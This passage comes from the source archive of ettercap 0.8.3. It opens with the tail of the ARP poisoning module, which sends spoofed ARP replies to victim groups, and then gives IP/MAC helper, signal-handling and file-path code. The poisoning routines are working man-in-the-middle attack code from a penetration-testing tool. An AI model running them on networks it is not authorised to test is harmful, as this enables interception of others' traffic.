EC_GBL_IFACE->mac, &g1->ip, g1->mac); /* only send from T2 to T1 */ if (!poison_oneway) send_arp(ARPOP_REQUEST, &g1->ip, EC_GBL_IFACE->mac, &g2->ip, g2->mac); } ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay)); } } /* if smart poisoning is enabled only poison inital and then only on request */ if (EC_GBL_CONF->arp_poison_smart && i >= 3) return NULL; /* * wait the correct delay: * for the first 5 time use the warm_up * then use normal delay */ if (i < 5) { ec_usleep(SEC2MICRO(EC_GBL_CONF->arp_poison_warm_up)); i++; } else { ec_usleep(SEC2MICRO(EC_GBL_CONF->arp_poison_delay)); } } return NULL; } /* * if a target wants to reconfirm the poisoned ARP information * it should be confirmed while poisoning */ static void arp_poisoning_confirm(struct packet_object *po) { struct hosts_list *g1, *g2; char tmp[MAX_ASCII_ADDR_LEN]; /* ignore ARP requests origined by ourself */ if (!memcmp(po->L2.src, EC_GBL_IFACE->mac, MEDIA_ADDR_LEN)) return; DEBUG_MSG("arp_poisoning_confirm(%s)", ip_addr_ntoa(&po->L3.dst, tmp)); /* walk through the lists if ARP request was for a victim */ LIST_FOREACH(g1, &arp_group_one, next) { /* if the sender is in group one ... */ if (!ip_addr_cmp(&po->L3.src, &g1->ip)) { /* look if the target is in group two ... */ LIST_FOREACH(g2, &arp_group_two, next) { if (!ip_addr_cmp(&po->L3.dst, &g2->ip)) { /* confirm the sender with the poisoned ARP reply */ send_arp(ARPOP_REPLY, &po->L3.dst, EC_GBL_IFACE->mac, &po->L3.src, po->L2.src); } } } if (!poison_oneway) { /* else if the target is in group one ... */ if (!ip_addr_cmp(&po->L3.dst, &g1->ip)) { /* look if the sender is in group two ... */ LIST_FOREACH(g2, &arp_group_two, next) { if (!ip_addr_cmp(&po->L3.src, &g2->ip)) { /* confirm the sender with the poisoned ARP reply */ send_arp(ARPOP_REPLY, &po->L3.dst, EC_GBL_IFACE->mac, &po->L3.src, po->L2.src); } } } } } } /* * create the list of victims * in silent mode only the first target is selected and you * have to specify the mac address if you have specified an * ip address. you can also have an 'ANY' target and the * arp poisoning will be broadcasted. */ static int create_silent_list(void) { struct ip_list *i, *j; struct hosts_list *h, *g; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("create_silent_list"); /* allocate the struct */ SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); USER_MSG("\nARP poisoning victims:\n\n"); /* examine the first target */ if ((i = LIST_FIRST(&EC_GBL_TARGET1->ips)) != NULL) { /* the the ip was specified, even the mac address must be specified */ if (!memcmp(EC_GBL_TARGET1->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN) ) { USER_MSG("\nERROR: MAC address must be specified in silent mode.\n"); return -E_FATAL; } USER_MSG(" TARGET 1 : %-15s %17s\n", ip_addr_ntoa(&i->ip, tmp), mac_addr_ntoa(EC_GBL_TARGET1->mac, tmp2)); /* copy the information */ memcpy(&h->ip, &i->ip, sizeof(struct ip_addr)); memcpy(&h->mac, &EC_GBL_TARGET1->mac, MEDIA_ADDR_LEN); } else { USER_MSG(" TARGET 1 : %-15s FF:FF:FF:FF:FF:FF\n", "ANY"); /* set the broadcasts */ memcpy(&h->ip, &EC_GBL_IFACE->network, sizeof(struct ip_addr)); /* XXX - IPv6 compatible */ /* the broadcast is the network address | ~netmask */ *h->ip.addr32 |= ~(*EC_GBL_IFACE->netmask.addr32); /* broadcast mac address */ memcpy(&h->mac, MEDIA_BROADCAST, MEDIA_ADDR_LEN); } /* examine the second target */ if ((j = LIST_FIRST(&EC_GBL_TARGET2->ips)) != NULL) { /* the the ip was specified, even the mac address must be specified */ if (!memcmp(EC_GBL_TARGET2->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN) ) { USER_MSG("\nERROR: MAC address must be specified in silent mode.\n"); return -E_FATAL; } USER_MSG(" TARGET 2 : %-15s %17s\n", ip_addr_ntoa(&j->ip, tmp), mac_addr_ntoa(EC_GBL_TARGET2->mac, tmp2)); /* copy the information */ memcpy(&g->ip, &j->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &EC_GBL_TARGET2->mac, MEDIA_ADDR_LEN); } else { USER_MSG(" TARGET 2 : %-15s FF:FF:FF:FF:FF:FF\n", "ANY"); /* set the broadcasts */ memcpy(&g->ip, &EC_GBL_IFACE->network, sizeof(struct ip_addr)); /* XXX - IPv6 compatible */ /* the broadcast is the network address | ~netmask */ *g->ip.addr32 |= ~(*EC_GBL_IFACE->netmask.addr32); /* broadcast mac address */ memcpy(&g->mac, MEDIA_BROADCAST, MEDIA_ADDR_LEN); } if (i == j || ntohs(i->ip.addr_type) != AF_INET || ntohs(j->ip.addr_type) != AF_INET) { USER_MSG("\nERROR: Cannot ARP poison these targets...\n"); SAFE_FREE(h); SAFE_FREE(g); return -E_FATAL; } /* add the elements in the two lists */ LIST_INSERT_HEAD(&arp_group_one, h, next); LIST_INSERT_HEAD(&arp_group_two, g, next); return E_SUCCESS; } /* * create the list of multiple victims. * the list is joined with the hosts list created with the * initial arp scan because we need to know the mac address * of the victims */ static int create_list(void) { struct ip_list *i; struct hosts_list *h, *g; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("create_list"); USER_MSG("\nARP poisoning victims:\n\n"); /* the first group */ LIST_FOREACH(i, &EC_GBL_TARGET1->ips, next) { LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { if (!ip_addr_cmp(&i->ip, &h->ip)) { USER_MSG(" GROUP 1 : %s %s\n", ip_addr_ntoa(&h->ip, tmp), mac_addr_ntoa(h->mac, tmp2)); /* create the element and insert it in the list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&arp_group_one, g, next); } } } /* the target is NULL. convert to ANY (all the hosts) */ if (LIST_FIRST(&EC_GBL_TARGET1->ips) == NULL) { USER_MSG(" GROUP 1 : ANY (all the hosts in the list)\n"); /* add them */ LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { /* only IPv4 */ if (ntohs(h->ip.addr_type) != AF_INET) continue; /* create the element and insert it in the list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&arp_group_one, g, next); } } USER_MSG("\n"); /* the second group */ /* if the target was specified */ LIST_FOREACH(i, &EC_GBL_TARGET2->ips, next) { LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { if (!ip_addr_cmp(&i->ip, &h->ip)) { USER_MSG(" GROUP 2 : %s %s\n", ip_addr_ntoa(&h->ip, tmp), mac_addr_ntoa(h->mac, tmp2)); /* create the element and insert it in the list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&arp_group_two, g, next); } } } /* the target is NULL. convert to ANY (all the hosts) */ if (LIST_FIRST(&EC_GBL_TARGET2->ips) == NULL) { USER_MSG(" GROUP 2 : ANY (all the hosts in the list)\n"); /* add them */ LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { /* only IPv4 */ if (ntohs(h->ip.addr_type) != AF_INET) continue; /* create the element and insert it in the list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&arp_group_two, g, next); } } return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_inet.c0000644000175000017500000004155713505247364015551 0ustar koeppeakoeppea/* ettercap -- IP address management Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* prototypes */ static const char *inet_ntop4(const u_char *src, char *dst, size_t size); static const char *inet_ntop6(const u_char *src, char *dst, size_t size); /***********************************************************************/ /* * creates a structure from a buffer */ int ip_addr_init(struct ip_addr *sa, u_int16 type, u_char *addr) { /* the version of the IP packet */ sa->addr_type = htons(type); /* wipe the buffer */ memset(sa->addr, 0, MAX_IP_ADDR_LEN); switch (type) { case AF_INET: sa->addr_len = htons(IP_ADDR_LEN); break; case AF_INET6: sa->addr_len = htons(IP6_ADDR_LEN); break; default: /* wipe the struct */ memset(sa, 0, sizeof(struct ip_addr)); BUG("Invalid ip_addr type"); return -E_INVALID; } memcpy(&sa->addr, addr, ntohs(sa->addr_len)); return E_SUCCESS; }; /* * copy the address in a buffer */ int ip_addr_cpy(u_char *addr, struct ip_addr *sa) { memcpy(addr, &sa->addr, ntohs(sa->addr_len)); return E_SUCCESS; } /* * compare two ip_addr structure. */ int ip_addr_cmp(struct ip_addr *sa, struct ip_addr *sb) { if (!sa || !sb) return -E_INVALID; /* different type are incompatible */ if (sa->addr_type != sb->addr_type) return -E_INVALID; return memcmp(sa->addr, sb->addr, ntohs(sa->addr_len)); } /* * returns 0 if the ip address is IPv4 or IPv6 */ int ip_addr_null(struct ip_addr *sa) { if (ntohs(sa->addr_type) == AF_INET || ntohs(sa->addr_type) == AF_INET6) return 0; return 1; } /* * return true if an ip address is 0.0.0.0 or invalid */ int ip_addr_is_zero(struct ip_addr *sa) { switch (ntohs(sa->addr_type)) { case AF_INET: if (memcmp(sa->addr, "\x00\x00\x00\x00", IP_ADDR_LEN)) return 0; break; case AF_INET6: if (memcmp(sa->addr, "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00", IP6_ADDR_LEN)) return 0; break; }; return 1; } /* * generates a random link-local ip address * returns E_SUCCESS or -E_INVALID if address family is unkown */ int ip_addr_random(struct ip_addr* ip, u_int16 type) { /* generate a random 32-bit number */ srand(time(NULL)); u_int32 r = rand(); u_int32 h1 = r | 0x02000000; u_int32 h2 = ~r; switch (type) { case AF_INET: ip->addr_type = htons(type); ip->addr_len = IP_ADDR_LEN; memset(ip->addr, 0, IP_ADDR_LEN); memcpy(ip->addr, "\xa9\xfe", 2); /* 169.254/16 */ memcpy(ip->addr + 2, (u_char*)&r, 2); break; case AF_INET6: ip->addr_type = htons(type); ip->addr_len = IP6_ADDR_LEN; memset(ip->addr, 0, IP6_ADDR_LEN); memcpy(ip->addr, "\xfe\x80\x00\x00", 4); memcpy(ip->addr + 4, "\x00\x00\x00\x00", 4); memcpy(ip->addr + 8, (u_char*)&h1, 4); memcpy(ip->addr + 12, (u_char*)&h2, 4); memcpy(ip->addr + 11, "\xff\xfe", 2); break; default: return -E_INVALID; } return E_SUCCESS; } /* * initialize a solicited-node IPv6 and link-layer address from a * given ip address. * * returns E_SUCCESS on success or -E_INVALID in case of a unsupported * address familily (actually only IPv6 is supported) */ int ip_addr_init_sol(struct ip_addr* sn, struct ip_addr* ip, u_int8 *tmac) { switch (ntohs(ip->addr_type)) { case AF_INET: (void) sn; (void) tmac; /* not applicable for IPv4 */ break; #ifdef WITH_IPV6 case AF_INET6: /* * initialize the ip_addr struct with the solicited-node * multicast prefix and copy the tailing 24-bit into the * address to form the complete solicited-node address */ ip_addr_init(sn, AF_INET6, (u_char*)IP6_SOL_NODE); memcpy((sn->addr + 13), (ip->addr + 13), 3); /* * initialize the MAC address derived from the solicited * node multicast IPv6 address by overwriting the tailing * 32-bit of the all-nodes link-layer multicast address for IPv6 */ memcpy(tmac, LLA_IP6_ALLNODES_MULTICAST, MEDIA_ADDR_LEN); memcpy((tmac + 2), (sn->addr + 12), 4); return E_SUCCESS; break; #endif } return -E_INVALID; } /* * convert to ascii an ip address */ char * ip_addr_ntoa(struct ip_addr *sa, char *dst) { switch (ntohs(sa->addr_type)) { case AF_INET: inet_ntop4(sa->addr, dst, IP_ASCII_ADDR_LEN); return dst; break; case AF_INET6: inet_ntop6(sa->addr, dst, IP6_ASCII_ADDR_LEN); return dst; break; }; return "invalid"; } const char * inet_ntop4(const u_char *src, char *dst, size_t size) { char str[IP_ASCII_ADDR_LEN]; int n; n = snprintf(str, IP_ASCII_ADDR_LEN, "%u.%u.%u.%u", src[0], src[1], src[2], src[3]); str[n] = '\0'; strncpy(dst, str, size); return dst; } const char * inet_ntop6(const u_char *src, char *dst, size_t size) { /* * Note that int32_t and int16_t need only be "at least" large enough * to contain a value of the specified size. On some systems, like * Crays, there is no such thing as an integer variable with 16 bits. * Keep this in mind if you think this function should have been coded * to use pointer overlays. All the world's not a VAX. */ char tmp[IP6_ASCII_ADDR_LEN], *tp; struct { int base, len; } best, cur; u_int words[NS_IN6ADDRSZ / NS_INT16SZ]; int i; best.len = 0; cur.len = 0; /* * Preprocess: * Copy the input (bytewise) array into a wordwise array. * Find the longest run of 0x00's in src[] for :: shorthanding. */ memset(words, '\0', sizeof words); for (i = 0; i < NS_IN6ADDRSZ; i += 2) words[i / 2] = (src[i] << 8) | src[i + 1]; best.base = -1; cur.base = -1; for (i = 0; i < (NS_IN6ADDRSZ / NS_INT16SZ); i++) { if (words[i] == 0) { if (cur.base == -1) cur.base = i, cur.len = 1; else cur.len++; } else { if (cur.base != -1) { if (best.base == -1 || cur.len > best.len) best = cur; cur.base = -1; } } } if (cur.base != -1) { if (best.base == -1 || cur.len > best.len) best = cur; } if (best.base != -1 && best.len < 2) best.base = -1; /* * Format the result. */ tp = tmp; for (i = 0; i < (NS_IN6ADDRSZ / NS_INT16SZ); i++) { /* Are we inside the best run of 0x00's? */ if (best.base != -1 && i >= best.base && i < (best.base + best.len)) { if (i == best.base) *tp++ = ':'; continue; } /* Are we following an initial run of 0x00s or any real hex? */ if (i != 0) *tp++ = ':'; /* Is this address an encapsulated IPv4? */ if (i == 6 && best.base == 0 && (best.len == 6 || (best.len == 5 && words[5] == 0xffff))) { if (inet_ntop4(src+12, tp, IP_ASCII_ADDR_LEN) != 0) return (NULL); tp += strlen(tp); break; } tp += sprintf(tp, "%x", words[i]); } /* Was it a trailing run of 0x00's? */ if (best.base != -1 && (best.base + best.len) == (NS_IN6ADDRSZ / NS_INT16SZ)) *tp++ = ':'; *tp++ = '\0'; /* * Check for overflow, copy, and we're done. */ if ((size_t)(tp - tmp) > size) { __set_errno (ENOSPC); return (NULL); } strncpy(dst, tmp, size); return dst; } /* Converts character string to IP address if possible */ int ip_addr_pton(char *str, struct ip_addr *addr) { struct in_addr inaddr; #ifdef WITH_IPV6 struct in6_addr in6addr; #endif if(inet_pton(AF_INET, str, &inaddr) == 1) { /* try IPv4 */ ip_addr_init(addr, AF_INET, (u_char*)&inaddr); return E_SUCCESS; } #ifdef WITH_IPV6 else if (inet_pton(AF_INET6, str, &in6addr) == 1) { /* try IPv6 */ ip_addr_init(addr, AF_INET6, (u_char*)&in6addr); return E_SUCCESS; } #endif else { return -E_INVALID; } } /* * convert a MAC address to a human readable form */ char *mac_addr_ntoa(u_char *mac, char *dst) { char str[ETH_ASCII_ADDR_LEN]; int n; n = snprintf(str, ETH_ASCII_ADDR_LEN, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); str[n] = '\0'; strncpy(dst, str, ETH_ASCII_ADDR_LEN); return dst; } /* * convert a string to a u_char mac[6] */ int mac_addr_aton(char *str, u_char *mac) { int i; u_int tmp[MEDIA_ADDR_LEN]; i = sscanf(str, "%02X:%02X:%02X:%02X:%02X:%02X", (u_int *)&tmp[0], (u_int *)&tmp[1], (u_int *)&tmp[2], (u_int *)&tmp[3], (u_int *)&tmp[4], (u_int *)&tmp[5]); /* incorrect parsing */ if (i != MEDIA_ADDR_LEN) { memset(mac, 0, MEDIA_ADDR_LEN); return 0; } for (i = 0; i < MEDIA_ADDR_LEN; i++) mac[i] = (u_char)tmp[i]; return i; } /* * returns 1 if the ip is a Global Unicast * returns 0 if not * returns -E_INVALID if address family is unknown */ int ip_addr_is_global(struct ip_addr *ip) { switch (ntohs(ip->addr_type)) { case AF_INET: /* Global for IPv4 means not status "RESERVED" by IANA */ if ( *ip->addr != 0x0 && /* not 0/8 */ *ip->addr != 0x7f && /* not 127/8 */ *ip->addr != 0x0a && /* not 10/8 */ (ntohs(*ip->addr16) & 0xfff0) != 0xac10 && /* not 172.16/12 */ ntohs(*ip->addr16) != 0xc0a8 && /* not 192.168/16 */ !ip_addr_is_multicast(ip) /* not 224/3 */ ) return 1; break; case AF_INET6: /* * as IANA does not appy masks > 8-bit for Global Unicast block, * only the first 8-bit are significant for this test. */ if ((*ip->addr & 0xe0) == 0x20) { /* * This may be extended in future as IANA assigns further ranges * to Global Unicast */ return 1; } break; default: return -E_INVALID; } return 0; } /* * returns 1 if the ip is multicast * returns 0 if not * returns -E_INVALID if address family is unknown */ int ip_addr_is_multicast(struct ip_addr *ip) { switch(ntohs(ip->addr_type)) { case AF_INET: if ((*ip->addr & 0xf0) == 0xe0) return 1; break; case AF_INET6: if ((*ip->addr & 0xff) == 0xff) return 1; break; default: return -E_INVALID; } return 0; } /* * returns E_SUCCESS if the ip is broadcast * returns -E_NOTFOUND if not */ int ip_addr_is_broadcast(struct ip_addr *sa) { struct ip_addr *nw; struct ip_addr *nm; u_int32* address; u_int32* netmask; u_int32* network; u_int32 broadcast; switch(ntohs(sa->addr_type)) { case AF_INET: if(!EC_GBL_IFACE->has_ipv4) return -E_INVALID; nm = &EC_GBL_IFACE->netmask; nw = &EC_GBL_IFACE->network; /* 255.255.255.255 is definitely broadcast */ if(!memcmp(sa->addr, "\xff\xff\xff\xff", IP_ADDR_LEN)) return E_SUCCESS; address = sa->addr32; netmask = nm->addr32; network = nw->addr32; broadcast = (*network) | ~(*netmask); if (broadcast == *address) return E_SUCCESS; break; case AF_INET6: if(!EC_GBL_IFACE->has_ipv6) return -E_INVALID; /* IPv6 has no such thing as a broadcast address. The closest * equivalent is the multicast address ff02::1. Packets sent to that * address are delivered to all link-local nodes. */ if(!memcmp(sa->addr, IP6_ALL_NODES, IP6_ADDR_LEN)) return E_SUCCESS; break; } return -E_NOTFOUND; } /* * returns E_SUCCESS if the ip address is local. * returns -E_NOTFOUND if it is non local. * the choice is make reading the EC_GBL_IFACE infos * * if the EC_GBL_IFACE is not filled (while reading from files) * returns -E_INVALID. */ int ip_addr_is_local(struct ip_addr *sa, struct ip_addr *ifaddr) { struct ip_addr *nm; struct ip_addr *nw; struct net_list* ip6; u_int32* address; u_int32* netmask; u_int32* network; unsigned int i, matched = 0; switch (ntohs(sa->addr_type)) { case AF_INET: nm = &EC_GBL_IFACE->netmask; nw = &EC_GBL_IFACE->network; /* the address 0.0.0.0 is used by DHCP and it is local for us*/ if ( !memcmp(&sa->addr, "\x00\x00\x00\x00", ntohs(sa->addr_len)) ) return E_SUCCESS; /* make a check on EC_GBL_IFACE (is it initialized ?) */ if ( !memcmp(&nw->addr, "\x00\x00\x00\x00", ntohs(sa->addr_len)) ) /* return UNKNOWN */ return -E_INVALID; address = sa->addr32; netmask = nm->addr32; network = nw->addr32; /* check if it is local */ if ((*address & *netmask) == *network) { if(ifaddr != NULL) memcpy(ifaddr, &EC_GBL_IFACE->ip, sizeof(*ifaddr)); return E_SUCCESS; } break; case AF_INET6: if(!EC_GBL_IFACE->has_ipv6) return -E_INVALID; LIST_FOREACH(ip6, &EC_GBL_IFACE->ip6_list, next) { nm = &ip6->netmask; nw = &ip6->network; address = sa->addr32; netmask = nm->addr32; network = nw->addr32; for(i = 0; i < IP6_ADDR_LEN / sizeof(u_int32); i++) { if (netmask[i] == 0) { /* no need to check further */ break; } else if((address[i] & netmask[i]) != network[i]) { matched = 0; break; } else { matched = 1; } } if(ifaddr != NULL) memcpy(ifaddr, &ip6->ip, sizeof(*ifaddr)); if (matched) return E_SUCCESS; } break; }; return -E_NOTFOUND; } int ip_addr_is_ours(struct ip_addr *ip) { struct net_list *i; switch(ntohs(ip->addr_type)) { case AF_INET: if(!ip_addr_cmp(ip, &EC_GBL_IFACE->ip)) return E_FOUND; else if(!ip_addr_cmp(ip, &EC_GBL_BRIDGE->ip)) return E_BRIDGE; else return -E_NOTFOUND; break; case AF_INET6: LIST_FOREACH(i, &EC_GBL_IFACE->ip6_list, next) { if(!ip_addr_cmp(ip, &i->ip)) return E_FOUND; } return -E_NOTFOUND; } return -E_INVALID; } int ip_addr_get_network(struct ip_addr *ip, struct ip_addr *netmask, struct ip_addr *network) { u_int32 ip4; u_int32 ip6[IP6_ADDR_LEN / sizeof(u_int32)]; if(ntohs(ip->addr_type) != ntohs(netmask->addr_type)) return -E_INVALID; switch(ntohs(ip->addr_type)) { case AF_INET: ip4 = *ip->addr32 & *netmask->addr32; ip_addr_init(network, AF_INET, (u_char*)&ip4); break; case AF_INET6: ip6[0] = ip->addr32[0] & netmask->addr32[0]; ip6[1] = ip->addr32[1] & netmask->addr32[1]; ip6[2] = ip->addr32[2] & netmask->addr32[2]; ip6[3] = ip->addr32[3] & netmask->addr32[3]; ip_addr_init(network, AF_INET6, (u_char*)&ip6); break; default: BUG("Invalid addr_type"); return -E_INVALID; break; } return E_SUCCESS; } int ip_addr_get_prefix(struct ip_addr* netmask) { size_t s; unsigned int i; int prefix = 0; u_int32* mask; u_int32 x; s = ntohs(netmask->addr_len) / sizeof(u_int32); mask = netmask->addr32; for(i = 0; i < s; i++) { x = mask[i]; x -= (x >> 1) & 0x55555555; x = (x & 0x33333333) + ((x >> 2) & 0x33333333); prefix += (((x + (x >> 4)) & 0xf0f0f0f) * 0x1010101) >> 24; } return prefix; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_signals.c0000644000175000017500000001520013505247364016234 0ustar koeppeakoeppea/* ettercap -- signal handler Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #ifdef HAVE_EC_LUA #include #endif #ifndef OS_WINDOWS #include #include #endif typedef void handler_t(int); /* protos */ void signal_handler(void); static handler_t *signal_handle(int signo, handler_t *handler, int flags); static void signal_SEGV(int sig); static void signal_TERM(int sig); static void signal_CHLD(int sig); static void signal_USR1(int sig); /*************************************/ void signal_handler(void) { DEBUG_MSG("signal_handler activated"); // fixing windows warnings (void) signal_SEGV; (void) signal_CHLD; #ifdef SIGSEGV signal_handle(SIGSEGV, signal_SEGV, 0); #endif #ifdef SIGBUS signal_handle(SIGBUS, signal_SEGV, 0); #endif #ifdef SIGINT signal_handle(SIGINT, signal_TERM, 0); #endif #ifdef SIGTERM signal_handle(SIGTERM, signal_TERM, 0); #endif #ifdef SIGCHLD signal_handle(SIGCHLD, signal_CHLD, 0); #endif #ifdef SIGPIPE /* needed by sslwrap */ signal_handle(SIGPIPE, SIG_IGN, 0); #endif #ifdef SIGALRM /* needed by solaris */ signal_handle(SIGALRM, SIG_IGN, 0); #endif #ifdef SIGTTOU /* allow the user to type "ettercap .. &" */ signal_handle(SIGTTOU, SIG_IGN, 0); #endif #ifdef SIGTTIN signal_handle(SIGTTIN, SIG_IGN, 0); #endif #ifdef SIGUSR1 signal_handle(SIGUSR1, signal_USR1, 0); #endif } static handler_t *signal_handle(int signo, handler_t *handler, int flags) { #ifdef OS_WINDOWS handler_t *old = signal (signo, handler); /* avoid "unused variable" warning */ (void)flags; return (old); #else struct sigaction act, old_act; act.sa_handler = handler; /* don't permit nested signal handling */ sigfillset(&act.sa_mask); act.sa_flags = flags; if (sigaction(signo, &act, &old_act) < 0) ERROR_MSG("sigaction() failed"); return (old_act.sa_handler); #endif } /* * received when something goes wrong ;) */ static void signal_SEGV(int sig) { #ifdef DEBUG #ifndef OS_WINDOWS struct rlimit corelimit = {RLIM_INFINITY, RLIM_INFINITY}; #endif #ifdef SIGBUS if (sig == SIGBUS) DEBUG_MSG(" !!! BUS ERROR !!!"); else #endif DEBUG_MSG(" !!! SEGMENTATION FAULT !!!"); ui_cleanup(); fprintf (stderr, "\n"EC_COLOR_YELLOW"Ooops !! This shouldn't happen...\n\n"EC_COLOR_END); #ifdef SIGBUS if (sig == SIGBUS) fprintf (stderr, EC_COLOR_RED"Bus error...\n\n"EC_COLOR_END); else #endif fprintf (stderr, EC_COLOR_RED"Segmentation Fault...\n\n"EC_COLOR_END); fprintf (stderr, "===========================================================================\n"); fprintf (stderr, " To report this error follow these steps:\n\n"); fprintf (stderr, " 1) set ec_uid to 0 (so the core will be dumped)\n\n"); fprintf (stderr, " 2) execute ettercap with \"-w debug_dump.pcap\"\n\n"); fprintf (stderr, " 3) reproduce the critical situation\n\n"); fprintf (stderr, " 4) make a report : \n\t\"tar zcvf error.tar.gz %s-%s_debug.log debug_dump.pcap\"\n\n", PROGRAM, EC_VERSION); fprintf (stderr, " 5) get the gdb backtrace :\n" " \t - \"gdb %s core\"\n" " \t - at the gdb prompt \"bt\"\n" " \t - at the gdb prompt \"quit\" and return to the shell\n" " \t - copy and paste this output.\n\n", PROGRAM); fprintf (stderr, " 6) mail us the output of gdb and the error.tar.gz\n"); fprintf (stderr, "============================================================================\n"); fprintf (stderr, EC_COLOR_CYAN"\n Core dumping... (use the 'core' file for gdb analysis)\n\n"EC_COLOR_END); #ifdef HAVE_EC_LUA fprintf (stderr, EC_COLOR_CYAN" Lua stack trace: \n"EC_COLOR_END); // Let's try to print the lua stack trace, maybe. ec_lua_print_stack(stderr); fprintf (stderr, "\n"); #endif fprintf (stderr, EC_COLOR_YELLOW" Have a nice day!\n"EC_COLOR_END); /* force the coredump */ #ifndef OS_WINDOWS setrlimit(RLIMIT_CORE, &corelimit); #endif signal(sig, SIG_DFL); raise(sig); #else ui_cleanup(); fprintf(stderr, EC_COLOR_YELLOW"Ooops ! This shouldn't happen...\n"EC_COLOR_END); #ifdef SIGBUS if (sig == SIGBUS) fprintf (stderr, EC_COLOR_RED"Bus error...\n\n"EC_COLOR_END); else #endif fprintf (stderr, EC_COLOR_RED"Segmentation Fault...\n\n"EC_COLOR_END); fprintf(stderr, "Please recompile in debug mode, reproduce the bug and send a bugreport\n\n"); fprintf (stderr, EC_COLOR_YELLOW" Have a nice day!\n"EC_COLOR_END); clean_exit(666); #endif } /* * received on CTRL+C or SIGTERM */ static void signal_TERM(int sig) { #ifdef HAVE_STRSIGNAL DEBUG_MSG("Signal handler... (caught SIGNAL: %d) | %s", sig, strsignal(sig)); #else DEBUG_MSG("Signal handler... (caught SIGNAL: %d)", sig); #endif /* terminate the UI */ ui_cleanup(); if (sig == SIGINT) { fprintf(stderr, "\n\nUser requested a CTRL+C... (deprecated, next time use proper shutdown)\n\n"); } else { #ifdef HAVE_STRSIGNAL fprintf(stderr, "\n\n Shutting down %s (received SIGNAL: %d | %s)\n\n", PROGRAM, sig, strsignal(sig)); #else fprintf(stderr, "\n\n Shutting down %s (received SIGNAL: %d)\n\n", PROGRAM, sig); #endif } signal(sig, SIG_IGN); /* flush and close the log file */ log_stop(); /* make sure we exit gracefully */ clean_exit(0); } /* * received when a child exits */ static void signal_CHLD(int sig) { /* variable not used */ (void) sig; #ifndef OS_WINDOWS int stat; /* wait for the child to return and not become a zombie */ while (waitpid (-1, &stat, WNOHANG) > 0); #endif } static void signal_USR1(int sig) { /* variable not used */ (void) sig; /* nothing to do by signal handler */ } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_file.c0000644000175000017500000000511213505247364015514 0ustar koeppeakoeppea/* ettercap -- data handling module (fingerprints databases etc) Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /*******************************************/ /* * add the prefix to a given filename */ char * get_full_path(const char *dir, const char *file) { char *filename; int len = 256; SAFE_CALLOC(filename, len, sizeof(char)); if (!strcmp(dir, "etc")) snprintf(filename, len, "%s/%s/%s", INSTALL_SYSCONFDIR, PROGRAM, file); else if (!strcmp(dir, "share")) snprintf(filename, len, "%s/%s/%s", INSTALL_DATADIR, PROGRAM, file); DEBUG_MSG("get_full_path -- [%s] %s", dir, filename); return filename; } /* * add the local path to a given filename */ char * get_local_path(const char *file) { char *filename; #ifdef OS_WINDOWS /* get the path in which ettercap is running */ const char *self_root = ec_win_get_ec_dir(); #else char *self_root = "."; #endif SAFE_CALLOC(filename, strlen(self_root) + strlen("/share/") + strlen(file) + 1, sizeof(char)); snprintf(filename, strlen(self_root)+strlen("/share/") + strlen(file) + 1, "%s/share/%s", self_root, file); DEBUG_MSG("get_local_path -- %s", 